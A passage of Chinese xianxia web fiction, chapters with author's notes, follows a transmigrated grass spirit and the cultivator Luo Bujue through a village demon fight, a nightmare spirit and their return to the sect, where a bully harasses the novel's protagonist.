花花听妈妈的话把眼泪憋回去,声音依旧是哽咽,闻言捂住自己的手腕:“妈妈,不要!” “你不是说我们会在一起好长好长时间吗?” “妈妈!” “花花乖……”女人眼泪顺着脸颊大滴大滴落下。 在面前屏障打开的瞬间,女人紧紧抱住自己的乖乖,抬头看着洛不觉,后者伸手,意思不言而喻。 “妈妈……” “花花乖,”女人哄道,“千万别哭……” 燕黎舟只觉得一股大力将他扯下来,他被女人狠狠拽在掌心。 “草给你,放我乖乖离开!” 女人将草扔出去,她话没说完,背后一直装死的藤蔓突然朝着花花冲过去,无比迅速地将花花整个人卷起来,朝着洛不觉相反的方向逃去。 “乖乖!” 女人似是一下子没反应过来,怀里就空了,下意识喊,看清楚后反倒是平静下来了,整个人瘫坐咋地上。 花花在藤蔓的强力拉扯下和妈妈分开,藤蔓从女人的背后抽出来,连带出一片血肉。 女人对于自己身后的伤口好像没有一点感觉。 洛不觉接住燕黎舟,手指轻轻捏上叶子:“燕黎舟!” “嗯……在呢在呢。” 看着掌心捧着的草晃了晃自己的叶子,洛不觉才放下心来。 燕黎舟感受到一股灵力进入自己的身体里,听到自己的名字晃了晃叶子,下意识应道:“洛仙师,你捏的我叶子好疼。” 突然,面前跪坐着的女人,猛地吐出一口血,背后剩下的所有藤蔓全部化成飞灰,她盯着花花消失的方向,半天说不出一句话。 “乖乖……” 燕黎舟忽的想到了什么,扯了扯洛不觉的衣服,声音里还带颤抖。 “洛不觉!花花!” 女人察觉到洛不觉的动作,强撑着自己站起来,挡在他面前,手背抹掉嘴角的鲜血。 “仙长,草妖已经给您了,仙长也要守信,放我家乖乖一命!” 她嘶声大吼,一心想着要给自己乖乖争取一点时间,燕黎舟看着她,心里更加确认了一件事:“追花花,种子在花花身上!” 他终于明白为何这女人那么紧张花花的情绪,花花一旦哭,体内头颅树种子发芽,其中的气息肯定压制不住,会被洛不觉发现。 那日在头颅树下许愿,种子就被放进了花花的身体里,所以那些白丝…… 洛不觉手中的秋水剑直直刺向女人,藤蔓已经离她而去了,她根本抵抗不住洛不觉的攻击。 在即将刺进的时候,洛不觉手腕一转,剑背砍向女人脖颈,直接将人打晕了过去。 另一边,藤蔓抓着花花来到村子里,分裂出来无数分枝精准地卷住附近村民,不断汲取着他们的生命力。 村民肉眼可见的皮肤失去光泽,血肉萎缩,最终变成了一具具行尸走肉。 他们低吼着,失去了神志,分不清敌我,村长,陈嫂子,陈大哥,认识的,不认识的……看见人就咬,互相残杀,血液喷溅,好似感受不到疼痛。 而此时的花花被藤蔓包裹着,双目空洞,脸上没有一丝表情,无数生命力顺着藤蔓进入她的身体里。 燕黎舟看见这一幕,不动声色地往洛不觉衣襟里钻了钻,后者敏锐地注意到自己小草的情绪。 “害怕?” “我……”燕黎舟想说什么,最终也只是往衣服里更深处钻了钻。 “别怕。” “我可以解决。” 燕黎舟没回应,洛不觉胸口说话带起来的震动震得他麻麻的,叶子戳了戳洛不觉胸口,可惜叶子太软了,戳不动。 外面打斗的声音不绝于耳,全部隔绝在洛不觉的衣衫外面。 似乎过去了很长时间了,又或许只是一会儿,面前视野终于明亮起来…… “他们还活着吗?” “死了。” “……” 洛不觉站在村口的那棵老槐树下,槐树枝叶被风吹得沙沙作响,刚好遮住了头顶的太阳。 燕黎舟蔫头耷脑地坐在洛不觉的掌心上,叶子扒拉着某人戳他的手指。 “干嘛?” 他声音听着闷闷的,一时分不清是在吼还是在撒娇。 洛不觉戳草的手指顿了一下,手一翻一个妖丹出现在他手里。 “给你。” 洛不觉声音依旧平淡,听不出情绪,只是将那颗妖丹轻轻地放在燕黎舟旁边。 “这是什么?” 他用最长的两片叶子环抱住妖丹,叶子敲了又敲,一脸茫然,不明白洛不觉把这么一个圆球给他干嘛。 “咔嚓——咔嚓——” 手中的圆球表面突然裂开无数交错纵横的缝隙,燕黎舟感觉这场景有些熟悉,缝隙中露出来绿色的光芒将小草整个吞没。 下一秒燕黎舟愣愣的站在原地,脚下是坚实的地面,不再是洛不觉温热的掌心。他有些难以置信低头,看到的是自己白皙修长的手指。 他这是又变成人了?!! 他下意识看向面前的洛不觉,对方神色平静,两人视线撞了个正着。 “问神镜说,妖丹可以帮你维持人形。” “回去的路上很长,我们之前路过的很多地方,你都可以去逛了。” 燕黎舟抿了下唇,喉咙梗塞,他低头遮掩住自己的神情,看着自己变成人的手指。 原书剧情里面根本没有这段,陆乐水和司徒沃也是在宗门里安安全全的待着,根本没有出来。 唯一的变数是他,他来了之后好像全都变了,男主如此,配角也是。 “我……” 他吸了吸鼻子,努力让自己的声音听起来正常。 “我是不是,不该来的……” “我是不是……” “不是。” 燕黎舟没抬头,洛不觉轻声道,声音和头顶老槐树叶子摩擦的“沙沙”声混在一起。 “很高兴你来到天上白云京。” 洛不觉看着燕黎舟,对方额前散落的散发遮住了眼睛,如果现在的燕黎舟是小草的话,所有叶子估计都会难过地垂在地面上,然后将土团成一个又一个小球…… 燕黎舟说不出来话,喉咙一下又一下滚动,想要压住心底的那丝酸涩。 他知道洛不觉说的和他说的根本不是一回事,但还是会因为他的话触动—— 作者有话说:我很快吧!哈哈哈哈哈[哈哈大笑] 么么么么么么么! 爱你们[饭饭][加一] 第27章 “师叔!” 一个充满活力的声音由远及近, 他看到自己师叔旁的那个陌生又熟悉的身影,震惊地睁大眼。 “你!” “你回来了!” 司徒沃看见燕黎舟也十分惊喜:“燕前辈!” 燕黎舟轻笑:“想我了?” “谁想你了!” 陆乐水炸毛,迅速几步走到燕黎舟身边, 上下打量着确认人完好无损后, 心里那点别扭立刻被炫耀的心思压过, 下巴一扬。 “你什么时候来的?刚刚看见了吗, 我唰唰几下就把妖怪打得落花流水, 干脆利落!” 他边说边比划。 燕黎舟听着他明显掺了水的夸张自己说辞,唇角弯了弯, 故意拖长了调子, 好整以暇道。 “哦,是吗?你这么一说我还真看见了。” 他故意停顿了一下,吸引了陆乐水的注意后, 才慢条斯理揭短道:“我看到某人除妖不成,反被人关在棺材里……” 说着他意有所指地瞟了陆乐水一眼。 “啊!那是意外!”陆乐水没想到燕黎舟那么早就在了,脸涨的通红,“意外知道吗, 谁没有个意外!都怪那妖怪太过狡诈!” 旁边司徒沃也不好意思地挠了挠头。 几人顿时闹成一团, 久别重逢的喜悦和玩闹冲淡了先前的沉重恐怖气氛, 洛不觉只是静静地站在一旁,看着燕黎舟。 “对了,燕前辈之前突然离开了?”司徒沃好奇。 “对啊对啊,”陆乐水趁机转移话题, 谴责道。 “招呼也不打一个!” “之前临时有事。”燕黎舟随口胡诌了一个。 “那你怎么突然出现在这?” “嗯……也是意外,啧,大人的事小孩别问。” 眼瞅陆乐水又要炸毛,司徒沃夹在中间, 开始安抚情绪。 “出来那么久,师父长老们肯定很担心,我们还要尽快回宗门复命。” “身上的伤也要快点处理一下。燕前辈和师叔一起吗?” 洛不觉的目光扫过两人身上的伤口,点头,听完后半段话:“你们先回去。” 站在洛不觉身侧的燕黎舟一愣,下意识侧头疑惑问:“我们不回去吗?” 洛不觉淡淡道:“他们御剑。” “哦哦哦,那还是不要一起了,你们快走吧,路上小心。” 陆乐水和司徒沃看着面前通体漆黑的马车,一脸问号,马车外面还挂了个牌子,非金非玉,上面纂刻着天上白云京五个大字。 “这……师叔,你坐马车来的吗?” “嗯。”洛不觉道。 燕黎舟站在旁边,完全不理解陆乐水此刻见鬼了似的表情:“咋了,马车有什么问题吗?” “第一次见这马车排上用处。”陆乐水解释,不理解师叔为什么放着便捷的御剑不用,去坐这慢死了的马车。 旁边拿着收押村民道具的司徒沃也点头。 “走了。”洛不觉没解释,先一步踏上马车。 …… 马车十分安静,燕黎舟靠坐床边,看着马车外面的风景,突然出声。 “洛不觉……” 这称呼突然被他叫得有些生涩,听着有些别扭。 对面闭目养神的洛不觉眼睫颤了颤,但也没睁开,只鼻音发出来一个音节,表示他听见了。 “芦梦村剩下的人……你们会怎么处理?”燕黎舟目光依旧落在窗外,脑海中闪过那些被吸干的村民们。 “活人报官,死人超度。”洛不觉依旧闭着眼,他的回答十分简洁,不带任何情感色彩,仅此而已。 燕黎舟还想问那花花呢,她算活人还是死人?话到嘴边,最终还是将问题咽了下去。 知道了又怎样,也只是让自己更难受罢了。 车厢内再次陷入沉默,过了好一会儿,就在洛不觉以为他不会再开口时,燕黎舟突然没头没脑地冒出一句。 “我胆子还是挺大的吧?” 他转头,洛不觉看着那双亮晶晶的眼睛,下意识抿了下唇。 燕黎舟知道现在的自己很矫情,但他就是想要洛不觉肯定自己,他现在好像陷入一个死胡同里面,走不出来了…… “之前我们刚认识的时候,看见那棵头颅树都没慌,还有在芦梦村,看见那些尸体我也没怕……” 他想说在村里看见那么可怕的场景,话没说完,脑海里又闪过那些干尸,喉咙又是一哽。后面的话就说不下去了。 “怕死是本能。”洛不觉的声音不高,带了点安抚人的意味。 燕黎舟眨了眨眼睛,手指无意识绞紧了衣角。 是的,他怕死,他怕极了。 原本以为那离他应该是很远的事情,之前看到那么多死去的尸体他也只是感觉到恐惧、恶心,但直到看见村民们……的过程,他才真正觉得在这个世界,死亡对他这样没有能力的人好像是一件很容易的事情。 他似乎才后知后觉地意识到自己穿越了,穿到了一个和他前二十三年截然不同的世界。 “有我在,你死不了。” 洛不觉看着燕黎舟像是泄了气的小兽,肩膀微微挎了下来。他似乎看出来燕黎舟担心的事情,开口道。 燕黎舟猛地抬起头,难以置信地盯着洛不觉。 面前的人扭头,重新闭上了眼睛,燕黎舟呆呆地看着重新入定的洛不觉,张了张嘴,最后挠了挠头不知道该说什么。 他说什么?这算是承诺吗? 心情瞬间复杂起来,一股难以言喻的安全感包裹住他。 燕黎舟学着洛不觉的样子闭上眼睛,但在他闭上的瞬间,洛不觉就睁开了眼睛。 马车内十分安静,但与之前的安静又截然不同,好像有什么东西静悄悄地发生了改变,又好像没变。 马车找了一处溪流旁停下,燕黎舟像是只被放出笼的小鸟雀。 “野莓!洛不觉!” 燕黎舟眼睛一亮,看见溪边灌木丛长着的几颗莓果,红艳艳得点缀在绿叶中,下意识叫了声,转头却发现人没从马车里出来。 他小心地摘了几颗最大、最红的,就着溪水洗干净后,捻起一颗又仔细挑了挑,偷偷瞄了眼一旁的马车。 蹑手蹑脚地走到马车旁,掀开帘子看见里面闭目养神的洛不觉,鬼使神差屏住呼吸拿起一颗野莓往洛不觉唇边递过去。 在马上要碰到的时候,那双紧闭着的眼睛倏然睁开,目光盯着燕黎舟那只作恶的手上。 燕黎舟被吓了一个激灵,手一抖,野莓差点掉下去,瞬间把手缩回来背在身后,脸上堆笑。 “咳……尝尝吗?我洗干净了。” 说着,他背在身后的手又伸出来,掌心托着剩下的几颗野莓,献宝似的递到洛不觉面前,满脸写着“错了,但你尝尝”。 洛不觉在燕黎舟热情的眼神下,拿起一颗野莓,修长的手指捻起燕黎舟掌心里的一颗,面无表情地咀嚼了两下。 “可以。” “嘿嘿……”燕黎舟傻笑了一下,看着自己掌心剩下的莓果,捻起一颗丢进嘴里。 下一秒。 “呸呸呸!” 他被酸得五官都有些扭曲,一脸怨念地看着洛不觉。 “仙师,哪里可以了?” 洛不觉没说话,只是唇角弧度很小地勾了勾。 他看着燕黎舟在小溪边撒尽欢玩,采了一堆野花放在马车里做装饰,不亦乐乎。 但心里莫名觉得这人的叶子并没有向之前耀武扬威得挥动着,依旧蔫巴巴地垂着。 玩累了,燕黎舟身体传来一阵饥饿感,之前他还是草的时候都是靠光合作用。 许久没有感受到了,此时还有点稀奇。 他看着面前的小溪,转头又钻进马车里:“洛不觉,我做饭给你吃怎么样?” 洛不觉扫过燕黎舟跃跃欲试的脸,“饿了?”问完他就掏出来一颗丹药递给燕黎舟。 “……” 燕黎舟摆手拒绝,拍了拍胸口,他对自己的厨艺十分自信:“放心,我做饭好吃的!” “……好。” 燕黎舟双手何在一起摊开,讨笑道:“那秋水剑借我用用?” “……” 燕黎舟拿着秋水剑,脱了鞋袜,英勇就义似地踏进小溪里。 屏息凝神,模仿着电视里看来的叉鱼姿势,看准了后,一剑插下去。 …… “救我!洛不觉!救命啊,要死了!” 洛不觉从马车里出来看到的就是燕黎舟手里拿着秋水剑,整个人连同小溪都被冻住,后者表情皱在一起,苦着脸握着秋水剑的剑柄,想要把剑扒出来。 看到洛不觉出来嘿嘿一笑。 “救我。”他可怜巴巴道。 “……” 燕黎舟在草地上跺了跺脚,确认自己的脚还有知觉,还能动。旁边洛不觉将几只同样被冻住的鱼处理好。 燕黎舟转头看向溪边的树林:“洛不觉,林子里肯定有蘑菇野菜,你等着哈。” 不等对方回答,一转身光着脚就往林子里钻。 看着地上各种形态的蘑菇,燕黎舟一下犯了难。 哪个能吃?哪个有毒?也没有他见过的蘑菇样啊。 他小心翼翼地挑了几朵颜色素朴,看起来人畜无害的小蘑菇,又挖了点野菜,用衣摆兜着,最后兴冲冲地带着自己的战利品,打猎归来。 然后眼巴巴地看着洛不觉面无表情地把不能吃的挑出来,丢掉。 他又拿着仅存的几朵蘑菇,返回树林里,又找了几朵,然后把一开始的那几朵“样本”丢掉,谁知道有没有沾到毒,保险起见不要了。 最后燕黎舟灰头土脸的抱着一堆柴火,堆起来。 洛不觉在自己储物戒里翻翻找找,拿出来一口锅,掌心出现一团淡蓝色火焰,将柴火堆点燃。 燕黎舟将鱼,蘑菇和野草一股脑全放进锅里,还剩下几条被穿在秋水剑上,洛不觉几次想要上前帮忙都被他推回去。 “我厨艺真的很不错。”燕黎舟打包票道。 燕黎舟蹲在火堆旁,一边翻烤着秋水剑上的鱼,一边用树枝搅动着锅里的汤,嘴里哼着不成调的曲子。 洛不觉静静的看着面前忙碌的身影,墨色长发被束在脑后,衣服下摆沾了不少土,脸上蹭了不少灰,在火光照映下,整个人散发着一种蓬勃的生机。 “好啦好啦!可以吃了!” 燕黎舟终于宣告结束,把自己烤得最好的两条鱼递给洛不觉。 像燕黎舟自己说的,很意外的厨艺不错。 他自己笑呵呵的:“条件有点苛刻,不是谁都能吃到我做的饭的。” 临睡前,燕黎舟又摘了一捧紫色的小花,编了个歪歪扭扭的花环,紫色小花漂漂亮亮的,他兴冲冲地想往洛不觉头上戴:“送你!” 洛不觉侧头躲开,燕黎舟也不强求,顺手又把花环扣自己头上,盘腿坐在洛不觉对面,看着窗外的小溪。 溪水边,几只萤火虫散发着自己的亮,光点越来越密。 “好像星星掉下来了。”燕黎舟形容道,轻笑,此时应该是男主和他的后宫…… 男主! 燕黎舟突然转头:“洛不觉,你还记得谢灯,就是先天剑体那小子,在宗门里咋样了?又没有发生什么事情?” 他害怕洛不觉已经将男主忘了,特意加重了“先天剑体”四个字。 洛不觉嗯了一声,似是没想到他突然提到谢灯。 “天赋很好。” 燕黎舟瞥了眼他,一时不知道是在夸谢灯这个先天剑体天赋好,还是在夸他自己这个先天剑体天赋好。 “睡了,晚安!洛大仙师……” …… 虚空里,洛不觉脚下踩着冰面,除此之外空空荡荡,只有他一个人。 冰面似乎是没有尽头,往前一步时,突然脚下一僵,薄薄的一层冰从冰面上爬上他的身体。 死死将他锢在原地。 洛不觉伸手,秋水剑凭空出现在他手里,没有一点犹豫,直直插进脚底冰面上。 “咔嚓——” 冰面上裂开一条缝隙,越来越大,延伸到洛不觉脚下,直接将整个人吞了下去。 刹那间,秋水剑爆发出一声剑鸣,面前所有景象全部被震成满天碎片。 洛不觉猛地睁开眼睛,第一时间看向一旁的燕黎舟。 对方裹着一层薄毯,脑袋上还带着睡前编织的花环。 他起身,一步就跨到燕黎舟身边,第一眼就看见对方额头上布满了汗,眉头紧锁着,双手紧紧攥着身上的薄毯,身体也因为恐惧止不住地颤抖。 “燕黎舟!” 他伸手,灵力小心翼翼探进燕黎舟的神识里,却发现一股力量将他的灵力隔绝在外面。 洛不觉认出来是谁,目光迅速扫过周围,强大的神识迅速扩散出去。 距离他们不远处的村庄最中心,一个半透明,如同烟雾凝聚的身影团蹲在屋顶上方,周围散发浓郁的不详气息。 周围房屋里不断有噩梦飘出来,逐渐和那个身影融合在一起。 “嘻嘻……” “嘻?” “新的嘻嘻?” “好害怕……”—— 作者有话说:卡文了,新的一章搁置了好几天也想不出来 好消息∶有存稿 坏消息:不多了!!! 啊啊啊啊啊,灵感之神啊,求您降临! [爆哭][爆哭] 第28章 “救……我……” 燕黎舟看着面前的头颅树, 恐惧地说不出话来,面前的树和之前见到过的还不太一样,树上挂着的是一具又一具身体, 颇有点齐齐上吊的意味。 最下面的一具尸体燕黎舟也认识。 ——花花。 无数白丝缠绕在花花身上, 整个人四肢扭曲着, 外凸的眼睛瞪着燕黎舟, 之前看着可爱的一个小女孩此刻可以称得上一句恐怖。 白丝连接上头颅树上的尸体, 将人吸得干瘪,然后尸体就像是苹果一样掉下来, 在燕黎舟面前, 一个啃向另一个。 燕黎舟环顾四周都没有看见洛不觉,抬头就和那堆尸体的眼睛对个正好。 他们嘴里似乎还在嚼着同类的血肉,不断有红色的液体从嘴角留下来, 眼睛死死盯着燕黎舟。 头颅树缓慢朝着他移动,粗糙的声音沙哑地嘶吼。 树底下,花花浑身白线被头颅树拖拽着朝燕黎舟移过去,周围僵住的尸体自动给它们让出一条路来。 最先开口的是花花, 她小小一个人, 离得近了燕黎舟那个看见她脚离地还有些距离, 吊在头颅树上,晃晃悠悠。 花花开口:“小草,妈妈出去了,我们一起玩吧~” 燕黎舟把耳朵捂得死死的, 但花花带着童音的话字字清晰地进入他耳朵里,根本遮盖不住,刺耳的耳鸣声反而将这句话显得更清晰了。 燕黎舟大口大口地喘着,整个人弓下去, 期间不断夹杂着痛苦的咳嗽声。 令人意外的是,看见燕黎舟被口水呛住的模样,头颅树贴心地伸出来一根藤蔓,不轻不重地拍了几下燕黎舟的后背。 花花也在这个时候歪头:“小草,你不舒服吗?” 声音童真但又有些刺耳。 燕黎舟喘过来气后,花花缓缓走到他身边,坐下,但是她的身体依旧没触碰到地面。 “我们一起等妈妈回来吧。” 听着这话,燕黎舟想起来了,他有印象,这是当时女人将他绑在花花手腕上时,花花说的话。 什么……情况? 花花还在自言自语:“小草,你知道吗,妈妈很辛苦的。” 燕黎舟弱弱道:“我不知道。” 花花似乎没想到他会说话,顿了一下。 注意到头颅树和花花在他身边,那些尸体都自发离他远了点,乌泱泱地坐在身后一排。 燕黎舟伸手,小心翼翼地拽住花花同样飘着的衣服一点点。 “我有点……想知道了。” 花花顿了一下继续道:“爹爹生病了,妈妈说,爹爹要去很远的地方治病,村子里很多人也生病了,妈妈带着我离开了鸟鸟。” “鸟鸟是我从小的朋友,但她也生病了。” “从此之后我就没有朋友了。” “妈妈带我来的这个地方一点也不好,他们都不跟我和妈妈玩……” 花花的声音越说越低落:“只有陈见姐姐和我玩。” “但妈妈说,那些人是喜欢花花才会给花花洗澡的,花花不难过。” 燕黎舟捏着花花的一点点衣服,沉默地听着,眼睛不自觉地朝着后面瞥。 他们不能突然冲上来把他给啃了吧。 头颅树伸出藤蔓,一个人头搁在燕黎舟面前,他一转头,给草下了个半死,直接跪在地上,拽着花花的衣服不松手。 “我*我*,啊啊啊!我*救命!救我!洛不觉!你滚啊,滚开啊啊!” 他连滚带爬躲在花花身后,眼睛闭的死死的,双手乱挥。 另一边,洛不觉已经逼近了梦女,后者震惊:“洛嘻嘻?” 但很快它就想明白了:“是您的嘻嘻?” 随后又反驳:“不对,你没睡,嘻嘻还在?” 洛不觉剑尖指着梦女:“把梦解开。” 梦女面对秋水剑也不怕,半透明的身影双手双脚像是只猫一样。 “仙尊,你知道的。”它手一撑,整个人身影飘起来,在洛不觉身边晃荡。 “嘻嘻我是吃坏梦的,嘻嘻出现在哪儿,所有人都会自己陷入坏梦梦,不能怨嘻嘻~” 洛不觉嫌它飘的碍眼,一剑下去将人劈了个凉拌,下一秒梦女的两半身子又粘在一起。 “怎么,哪个嘻嘻做坏梦了?” “没事的,坏梦而已,不会让嘻嘻死掉的~” 洛不觉拿出晋绳,一挥手就将梦女捆成了个麻花。 “滚远点。”他道。 “嘻……” 梦女“嘻嘻”着把自己揉成一团,委委屈屈地滚走了。 洛不觉再次回来时,感受到燕黎舟身体内抗拒他的那道力量消失了,安抚的灵力缓缓进入对方身体里。 进入燕黎舟的神识里面—— 挂满了尸体的树上,连接着花花的白丝像是活物般蠕动着,小小一个身子此刻变得扭曲变形,空洞的眼窝直勾勾得盯着燕黎舟。 一堆干尸包围着中间那人,啃食同类时不断发出让人牙酸的“咯吱”声。 燕黎舟只能双手捂住自己,低着头,整个人埋起来。 “别看我……别看我……” “洛不觉……我不想死……” “我不要死……” “谁来救救我……” 他周围不断被尸体填满,燕黎舟的空间越来越小,胸口的疼痛使得他呼吸困难,刺耳的耳鸣声不断。 洛不觉蹙眉,手中秋水剑毫不犹豫挥过去,一剑下去面前所有的东西都像是泡沫一般消散。 “燕黎舟!” 燕黎舟猛地一颤,极其缓慢地抬了下头,泪水糊住了眼睛,模糊中他看到了那个熟悉的身影。 周围所有全都消失不见了,仿佛刚刚只是一场幻觉。 “洛不觉……” 燕黎舟声音很哑,带着哭腔,几乎是手脚并存地朝着洛不觉扑过去。 洛不觉是有些意外地接住那个颤抖的身影,他低头看了眼怀里的人,僵硬的拍了拍。 “没事……” 他僵着的手一下一下笨拙地拍在燕黎舟的背上,不知过了多久,燕黎舟的心情才慢慢平静下来,只剩下控制不住的几声抽噎。 他攥着洛不觉衣服的手指松开,燕黎舟抬起头,眼睛红红的,黑长的睫毛湿漉漉地黏在一起。 燕黎舟别开脸,避开洛不觉的目光。 “丢……丢脸死了……” 他伸手手背抹掉眼泪,声音闷闷的,还带着浓厚的鼻音。 半响,燕黎舟终于把自己脸上的痕迹擦干净,虽然眼睛还是肿的,但总算能见人了。 洛不觉的目光落在他头顶花哨的发饰上,形状是和他本体相似的小草环成的一个,很好看。 他伸手揉上燕黎舟的脑袋:“没事了。” …… 天上白云京。 沈齐听着自己师弟和师侄的汇报,再看看手中他们带回来的头颅树的种子,神色严肃。 “头颅树这种妖植只生长在妖界的空心林里,百洞天的那几只老狐狸也说最近妖界这几日不太平稳,结界线还在排查……” “我随后再具体去商量一下这些事情。”沈齐道。 他说完转头看向自己师弟,看着洛不觉手里没什么装饰的秋水剑。 顿了一下,道:“桦城罗秘境快开始了,知道你对那些东西没兴趣,但也可以去看看,逛一逛,总比一直待在宗门里的好。” 他这个师弟,什么都好,只是除了除妖,几乎就只有闭门修炼。 洛不觉没多说,淡淡地“嗯”了一声。 一旁正在打哈欠的汲子石半眯着眼,听着师兄师弟讨论着他不用插手的事情。 不得不说,收了个徒弟后他日子很明显地轻松了,花木峰很多花草谢灯那个徒弟比他照顾得还好,日子不要太舒服。 一旁慕容古擦着自己的大刀,见状轻哼一声,旁边肖信然盯着陆乐水,后者讨笑。 “听说燕道友也跟着你回来了?”沈齐话音一转,其他几位师兄弟也转头看向洛不觉。 “嗯。” “燕道友?” 白石湖正查看自己徒弟的扇子,闻言抬头,想说些什么但对上自家师弟的眼神后又默默闭上。 一边修理扇子一边警告司徒沃道:“下次扇子坏了别再傻乎乎地用自己精血强行粘合催动了,有你洛师叔在,怎么也不会轮到你牺牲自己。” 沈齐得到回复后也只是嗯了一声,嘱咐一句好好招待着就没有然后了。 花木峰,后山灌木丛。 燕黎舟探出来一个脑袋,整个人鬼鬼祟祟的。 他腰上系着的令牌上写着“洛不觉”三个字,这可不是他偷得,这是他在令牌主人眼皮底下光明正大拿的。 他盯着这本龙傲天爽文的男主谢灯,此时正专心地给一株开得正艳的月季浇水,至少看上去……心情不错? 燕黎舟揉了揉脑袋,自从从芦梦村回来后,他总觉得自己似乎是忘了什么东西。 但想了很久都没想起来,觉得那应该不是什么重要的事情。 他整理了一下衣服,深吸一口气,刚想从灌木丛里钻出去跟男主套个近乎,最近发生的事太多,他这才真正意识到和“男主”套近乎是极其有必要的。 一个洛不觉就已经那么厉害了,他要是成功了,或许就是主角团里的一个了。 可突然旁边蹿出来一个人,燕黎舟本不在意,可那人径直朝着谢灯走过去,满脸写着刻薄。 “呦,这不是我们的先天剑体吗?”林肆纯刻意拔高了音调,声音里充满了嘲讽。 “怎么轮到在这伺候花啊,啧啧啧,这花长得比你有出息多了。” 燕黎舟瞪大眼睛:哇塞,是炮灰! “你来干什么!”谢灯的语气算不上好。 林卿已经走到他面前,居高临下地打量着谢灯,极其轻蔑地伸手,指尖一下一下戳着谢灯的胳膊。 谢灯身体僵了一下,没有躲闪,只是垂在身侧的手微微蜷缩起来。 他抬起头,漆黑的目光盯着林肆纯,深不见底,平静得可怕。 燕黎舟在旁边看得心都一咯噔,然后默默在心里给林肆枋竖了一个大拇指。 林肆纯见谢灯这样还不动手,见怪不怪地嗤笑一声,抬起脚狠狠踹翻了旁边装满清水的木桶。 哗啦—— 木桶里倒出来的水大部分全都浇在谢灯的裤脚和鞋上,花圃里几株花的幼苗也被冲地东倒西歪。 “哎呀,脚滑了。” 林肆纯说的毫无诚意,甚至夸张地退后一步,拍了拍自己胸口,脸上全是恶劣的笑。 谢灯没看花圃中被毁掉的幼苗,也不看自己湿掉的下半身,目光直直地盯着林肆纯。 这样的画面这几天他时不时就要经历一下。 “真是不好意思,你看你,笨手笨脚站我面前,害我差点摔倒。” 林肆纯继续讽刺道。 按照以往,谢灯也任由着他们欺负,一句话不说,什么先天剑体,怂货。 林肆纯想着,心中对谢灯的轻蔑也越来越重。 贱|人,先天剑体又如何,还不是在这浇花浇草!废物师尊废物徒弟。 “你还和洛师叔一个体质,呵!侮辱我洛师叔,你怎么好意思是先天剑体的,趁早死吧!” “别恶心我了!”—— 作者有话说:进度0 存稿-1 灵感之神什么时候降临啊啊啊啊啊!求您! 嗯……发布时间不稳定,我知道错,初步定个0点30分发布[眼镜] (PS,有时候手抽,发布时间可能会错误,不更会请假,我努力肝![求你了]) 第29章 这人说话越来越难听, 燕黎舟眉头越皱越深,他看向冷眼盯着林肆纯的谢灯,从草丛后面走出来。 林肆纯见谢灯突然朝着旁边规矩地行了一个弟子礼也扭头看过去。 是一个穿着一身水蓝色, 衣袂因为动作带起一阵微风轻轻扬起, 墨发被一根玉簪轻松束起, 几缕碎发垂落额前, 但不显得凌乱。 最引人注意的是那双眼睛, 生就是一双笑眼,但奇怪的是搭配上五官总让人莫名感觉到难过。 他听谢灯管这人叫:“燕前辈。” 一时没反应过来男主这是在叫他, 愣了两三秒后才缓慢地抬头, 对上谢灯那平静无波的眸子。 他清了清嗓子打招呼:“嗯,谢灯,好久不见啊。” 林肆纯看着燕黎舟浑身是土的模样, 身上穿着的衣服上也没有天上白云京标志的祥云纹。 感觉到面前这个人甚至体内一点灵力都没有,他原本有些慌的心情瞬间平静下来。 这样一个普通人怎么可能是什么前辈。 想明白后他一脸不屑,心中还因为被谢灯骗到了后产生了一丝气愤,嘴上嘲讽更甚:“哼, 燕前辈?谢灯, 你编谎话也编个像样点的行吗。” 他抱着胸, 眼神不善地打量燕黎舟:“且不说宗门里没有姓燕的师叔长老,再者说这人体内一点灵力都没有……” 听着对方头头有道地分析自己不是大佬,燕黎舟的心情属实不能算得上美丽。 他直接把洛不觉的通行令牌举到林肆纯面前,想着这会对方总没话可说了吧。 没成想对方看见令牌瞪大眼睛, 腰间的配剑唰一下被他抽出来,指着燕黎舟,再近一点就架在他脖子上了:“好哇,小偷!” 燕黎舟:“¥%*#@&” 林肆纯还在喋喋不休:“连我洛师叔的令牌还敢偷, 你胆子不小!” “还不快把令牌交出来,束手就擒,跟我去刑台领罚!” 燕黎舟转头和谢灯对视了一眼:“……” 宗门大殿。 林肆纯带着燕黎舟和谢灯闯进来,一脸愤愤不平地告状:“掌门,这人偷拿洛师叔的令牌,被我抓到了!” “……” 大殿安静了一下,沈齐看着被绑着的燕黎舟和谢灯,底下林肆纯还在喋喋不休。 “这个谢灯还和小偷同流合污,蒙混过关,掌门,此等行径,必须严惩不贷啊……” 洛不觉和燕黎舟对视,后者耸了下肩,对于身上捆着的红绳一脸无奈。 隔空用口型无声道:“我打不过他。” 洛不觉:“……” 旁边同样被帮着的谢灯依旧站的笔直,丝毫不关心自己现在是被人押着来认罪的一个状态,眼神直直地看着安静坐着的汲子石。 后者打了个哈欠,也不管下面被押着的是自己徒弟,一脸看戏的表情。 沈齐额角青筋直跳,深吸一口气:“好了!” 他示意底下弟子:“快,把燕道友和谢灯身上的绳索解开。” 林肆纯被这突然的喝止吓得一哆嗦,后面的话卡在喉咙里。 突然旁边一位长老跳出来,拱手请罪:“掌门,是老夫管教不力,让这蠢货冲撞了贵客。他刚来宗门,对于很多事都不清楚,但他这也是为了维护宗门,还请掌门从轻发落!” “师尊?”林肆纯懵了,到现在还没看出来形势,他难以置信地看着那位跳出来的长老。 “您这是…… “他们盗取了洛师叔的令牌,这可是大罪,不能简单放过他们啊,不能从轻发落啊!” “师尊,他是不是家里塞进来的,我们不能跟这样的人同流合污啊!” 那位长老狠狠瞪了林肆纯一眼:“蠢货,闭嘴!” 沈齐一拍座椅扶手,压不住的威严瞬间笼罩整个大殿,压得林肆纯膝盖一软。 “燕道友是我宗座上宾,洛师弟的至交好友!你不问青红皂白,直接将人定罪,这让其他人怎么想,岂不是直接脏了我宗的清誉!” “若不严惩,我宗还有什么规矩可言!” 林肆纯此刻大脑一片,浑身冰冷,僵硬转头对上自己师尊恨铁不成钢的眼神,这才终于反应过来。 “不……不可能,这人都没有灵力!”他到现在还在狡辩。 林肆纯想到之前对谢灯的嘲讽和辱骂,对方肯定会趁机说出来,他完蛋了。 一股强大的恐惧感包裹住他,林肆纯脸色由青转白,转头又看向谢灯。 对方看都不看他,视线死死盯着上方,肯定是在预谋着一会怎么告状! 这个贱|人! 燕黎舟被解开绳索后,慢条斯理地整理了一下被弄皱的衣服,抬头对洛不觉露出一个微笑。 他伸手拍了拍林肆纯的肩膀:“年轻人,血气方刚的!” 